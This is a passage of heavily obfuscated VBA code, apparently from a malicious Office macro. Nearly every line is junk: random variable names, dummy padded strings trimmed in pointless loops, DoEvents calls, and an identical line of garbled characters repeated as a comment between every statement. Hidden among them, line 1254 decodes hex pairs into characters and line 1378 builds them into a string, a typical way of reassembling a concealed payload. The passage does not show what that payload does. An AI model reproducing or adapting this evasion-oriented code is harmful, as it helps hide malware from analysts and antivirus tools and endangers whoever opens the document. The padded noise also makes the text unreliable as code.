  1221. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1222. KLEiAlES = RTrim(hUgfKXMk)
  1223. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1224.  
  1225. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1226. Dim hrJFNyRq As Integer
  1227. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1228. For hrJFNyRq = 0 To 4
  1229. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1230. Dim jaiZOfUY, ZuMTszPJ, GdYIDGFz As String
  1231. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1232. jaiZOfUY = "           USKCYO               "
  1233. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1234. ZuMTszPJ = LTrim(jaiZOfUY)
  1235. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1236. GdYIDGFz = RTrim(ZuMTszPJ)
  1237. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1238.  
  1239. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1240. DoEvents
  1241. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1242. Next hrJFNyRq
  1243. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1244. Dim JjTcabsm, DkGOwROx, IkNWGIuc As String
  1245. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1246. JjTcabsm = "           ZXKJKY               "
  1247. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1248. DkGOwROx = LTrim(JjTcabsm)
  1249. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1250. IkNWGIuc = RTrim(DkGOwROx)
  1251. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1252.  
  1253. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1254. uQdrZqcgGusmEB = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(wlFwnAKuth, UPEktusxicjMa, 2)))
  1255. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1256. Dim ZVmEwSfY, GruYCnkJ, apLObfmz As String
  1257. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1258. Dim ODgMtkqh As Integer
  1259. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1260. For ODgMtkqh = 0 To 8
  1261. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1262. Dim tpCavzIh, PtTwQcbi, gNdHBKkB As String
  1263. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1264. tpCavzIh = "           PQPLLM               "
  1265. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1266. PtTwQcbi = LTrim(tpCavzIh)
  1267. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1268. gNdHBKkB = RTrim(PtTwQcbi)
  1269. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1270.  
  1271. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1272. DoEvents
  1273. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1274. Next ODgMtkqh
  1275. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1276. Dim ugGjFFcl, wtWWMbOz, VjpGEClw As String
  1277. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1278. ugGjFFcl = "           MHWXRR               "
  1279. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1280. wtWWMbOz = LTrim(ugGjFFcl)
  1281. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1282. VjpGEClw = RTrim(wtWWMbOz)
  1283. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1284.  
  1285. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1286. ZVmEwSfY = "           DPVVBW               "
  1287. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1288. Dim TsiwubrI As Integer
  1289. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1290. For TsiwubrI = 0 To 1
  1291. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1292. Dim JvcswooH, GoNBlqGg, agSzWBKb As String
  1293. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1294. JvcswooH = "           MVBGBY               "
  1295. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1296. GoNBlqGg = LTrim(JvcswooH)
  1297. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1298. agSzWBKb = RTrim(GoNBlqGg)
  1299. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1300.  
  1301. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1302. DoEvents
  1303. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1304. Next TsiwubrI
  1305. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1306. Dim MwBHNLZT, HxozmVNY, QclfGzcU As String
  1307. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1308. MwBHNLZT = "           RBZNKH               "
  1309. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1310. HxozmVNY = LTrim(MwBHNLZT)
  1311. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1312. QclfGzcU = RTrim(HxozmVNY)
  1313. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1314.  
  1315. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1316. GruYCnkJ = LTrim(ZVmEwSfY)
  1317. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1318. Dim uexgnnUh As Integer
  1319. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1320. For uexgnnUh = 0 To 3
  1321. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1322. Dim TTxWkwog, pnrhRJay, GwQPJsKV As String
  1323. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1324. TTxWkwog = "           CXCHGE               "
  1325. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1326. pnrhRJay = LTrim(TTxWkwog)
  1327. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1328. GwQPJsKV = RTrim(pnrhRJay)
  1329. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1330.  
  1331. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1332. DoEvents
  1333. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1334. Next uexgnnUh
  1335. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1336. Dim NYOYZXeF, ZJVnslSi, JUetkyVH As String
  1337. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1338. NYOYZXeF = "           COXSDA               "
  1339. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1340. ZJVnslSi = LTrim(NYOYZXeF)
  1341. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1342. JUetkyVH = RTrim(ZJVnslSi)
  1343. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1344.  
  1345. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1346. apLObfmz = RTrim(GruYCnkJ)
  1347. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1348.  
  1349. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1350. Dim RkUblskv As Integer
  1351. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1352. For RkUblskv = 0 To 7
  1353. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1354. Dim HjrlxgJg, zxHxVeMb, fZZbnJVP As String
  1355. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1356. HjrlxgJg = "           LMHLBO               "
  1357. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1358. zxHxVeMb = LTrim(HjrlxgJg)
  1359. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1360. fZZbnJVP = RTrim(zxHxVeMb)
  1361. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1362.  
  1363. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1364. DoEvents
  1365. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1366. Next RkUblskv
  1367. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1368. Dim eoAdalMn, VpQvwvkA, MqWPHZGE As String
  1369. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1370. eoAdalMn = "           ILHQKR               "
  1371. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1372. VpQvwvkA = LTrim(eoAdalMn)
  1373. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1374. MqWPHZGE = RTrim(VpQvwvkA)
  1375. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1376.  
  1377. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1378. tSYUgjyTUeojMcv = tSYUgjyTUeojMcv & uQdrZqcgGusmEB
  1379. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1380. Next UPEktusxicjMa
  1381. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1382. Dim vLUjcBdM, lMJZKrPW, hMzFdiiX As String
  1383. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1384. Dim wxUYZNsg As Integer
  1385. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1386. For wxUYZNsg = 0 To 9
  1387. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1388. Dim ydninZlZ, QioEDCpl, heHVNlzs As String
  1389. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1390. ydninZlZ = "           QSBXMU               "
  1391. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1392. QioEDCpl = LTrim(ydninZlZ)
  1393. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1394. heHVNlzs = RTrim(QioEDCpl)
  1395. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1396.  
  1397. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1398. DoEvents
  1399. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1400. Next wxUYZNsg
  1401. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1402. Dim oiliRZbe, cCbQPfQQ, NoFTlQmt As String
  1403. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1404. oiliRZbe = "           MSPKBB               "
  1405. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1406. cCbQPfQQ = LTrim(oiliRZbe)
  1407. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1408. NoFTlQmt = RTrim(cCbQPfQQ)
  1409. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1410.  
  1411. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1412. vLUjcBdM = "           LQLDRL               "
  1413. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1414. Dim MYgryIdq As Integer
  1415. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1416. For MYgryIdq = 0 To 7
  1417. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1418. Dim vPdljkLB, xmHuglbc, IAZpJiZI As String
  1419. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1420. vPdljkLB = "           PEMLCQ               "
  1421. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1422. xmHuglbc = LTrim(vPdljkLB)
  1423. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1424. IAZpJiZI = RTrim(xmHuglbc)
  1425. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1426.  
  1427. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1428. DoEvents
  1429. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1430. Next MYgryIdq
  1431. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1432. Dim HtQwFDwA, StWUoJLZ, UytLZXjE As String
  1433. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1434. HtQwFDwA = "           AHWHSD               "
  1435. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1436. StWUoJLZ = LTrim(HtQwFDwA)
  1437. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1438. UytLZXjE = RTrim(StWUoJLZ)
  1439. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1440.  
  1441. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1442. lMJZKrPW = LTrim(vLUjcBdM)
  1443. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1444. Dim ILQdemdE As Integer
  1445. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1446. For ILQdemdE = 0 To 2
  1447. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1448. Dim ByCymulP, EzRnUAqZ, oCdWMCel As String
  1449. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1450. ByCymulP = "           UOPWJX               "
  1451. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1452. EzRnUAqZ = LTrim(ByCymulP)
  1453. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1454. oCdWMCel = RTrim(EzRnUAqZ)
  1455. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1456.  
  1457. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1458. DoEvents
  1459. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1460. Next ILQdemdE
  1461. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1462. Dim RDxHPwJM, uBQPlKng, wGHfbRSC As String
  1463. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1464. RDxHPwJM = "           SDHJJF               "
  1465. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1466. uBQPlKng = LTrim(RDxHPwJM)
